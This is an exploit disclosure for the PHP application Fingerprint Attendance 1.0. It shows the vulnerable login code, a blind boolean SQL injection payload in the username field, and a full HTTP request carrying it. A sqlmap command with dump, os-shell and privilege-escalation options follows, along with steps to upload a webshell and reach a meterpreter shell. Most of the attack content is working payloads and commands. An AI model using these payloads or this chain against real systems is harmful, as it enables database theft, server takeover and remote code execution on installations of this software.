Fingerprint Attendance 1.0 SQL Injection

`# Title: Fingerprint Attendance 1.0 Blind boolean SQLi To Rce  
# Author: Hejap Zairy  
# Date: 28.07.2022  
# Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/  
# Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
  
# Steps  
# 1.- Go to : https://0day.gov/fingerprint/login.php  
# 2 - manual inject Blind SQli Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login  
# 3 - SQLi To RCE r00t  
# 4 - Ubload webshell   
# 5 - Web Shell to meterpreter full tty shell  
  
#vulnerability Code php  
  
---  
```  
$user = $_POST['username'];  
$pass = sha1($_POST['password']);  
$passwrong = false;  
  
if(isSet($_POST["button"]))   
switch($_POST["button"]){  
case "Login" :   
$passwrong = login($con, $user, $pass); //echo "Login";  
break;  
} // ----------------- Inside if(isSet($_POST["button"]))----------------  
  
```  
---  
#Status: CRITICAL  
[+] Payload GET  
  
---  
  
POST /fingerprint/src/ HTTP/1.1  
Host: 0day.gov  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 61  
Origin: http://0day.gov  
Connection: close  
Referer: http://0day.gov/fingerprint/src/  
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg  
Upgrade-Insecure-Requests: 1  
  
username=hejap'+OR+NOT+8425=8425#&password=hejap&button=Login  
---  
  
```  
---  
Parameter: username (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)  
Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login  
---  
  
  
```  
#Blind SQLi Time to Rce  
#ُExploit   
  
  
sqlmap -r 0day_Hejap.txt -p username   
' --hex --dbms=mysql --technique=b --random-agent --eta -D ad_39 -T login --dump --os-shell --priv-esc --forms --eta   
# Description:  
The Blind boolean SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc  
  
# Proof and Exploit:  
https://i.imgur.com/uYBA1C3.png  
https://i.imgur.com/nQFdjNu.png  
`